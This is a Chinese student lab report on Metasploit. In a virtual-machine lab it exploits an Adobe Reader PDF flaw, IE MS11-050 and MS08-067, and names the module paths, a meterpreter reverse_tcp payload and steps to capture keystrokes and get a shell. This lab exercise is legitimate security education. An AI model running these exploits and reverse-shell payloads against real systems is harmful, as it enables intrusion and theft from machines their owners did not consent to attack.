20145306张文锦《网络对抗》MSF应用
Adobe阅读器渗透攻击
-
两台虚拟机，其中一台为kali，一台为windows xp sp3，并保证两台虚拟机可以ping通。
实验过程
-
进入msfconsole。
-
输入命令use exploit/windows/fileformat/adobe_cooltype_sing，进入该漏洞模块; 使用命令set payload windows/meterpreter/reverse_tcp设置攻击载荷;设置端口，主机ip，产生pdf文件名。
-
show options显示攻击前所设置的数据。
-
输入exploit,生成pdf文件，可以看到pdf所在文件夹，将pdf复制到靶机里。
- 主机开启监听模块。
- 靶机运行pdf文件。
- 攻击成功。
IE浏览器MS11050漏洞攻击
-
两台虚拟机，主机（kali），靶机（windows xp sp3）
实验步骤
- 在kali终端中开启msfconsole。
-
输入命令use windows/browser/ms11050mshtml_cobjectelement，进入该漏洞模块，并设置参数。
-
exploit 生成一个网址。
- 靶机打开http：//10.43.61.249：8080/zwj。
- 攻击成功，抓击键记录，获取shell。
MS08_067漏洞渗透攻击实践
实验前准备
-
两台虚拟机，主机（kali），靶机（windows 2003 英文版）
实验过程
-
主机kali的ip地址
- windows ip
- 使用ms 08——067模块，并设置载荷，主机ip，靶机ip。
- 攻击成功。
- 查看靶机ip。
- 获取靶机shell。
MS08_067：meterpreter
- 设置攻击模块，载荷，ip地址。
- exploit。
- 查看ip。
- 查看进程。
- meterpreter 获取 shell。
辅助模块
-
主机 kali 靶机 windows xp sp 3 .
实验过程
- show auxiliary查看攻击模块。
- 设置参数。
- exploit
实验后回答问题
1.用自己的话解释什么是exploit,payload,encode？
Exploit 的英文意思就是利用，就是利用漏洞攻击。payload其实就是指载荷，运送到目标主机实现攻击。encode:对需要的文件进行编码。
实验总结与体会
-
每个实验的步骤大致相同，首先用use使用攻击模块，然后有些需要set payload，之后show options ，照着将所需要的参数设置完整。
- 比较重要的是将主机和靶机ping通。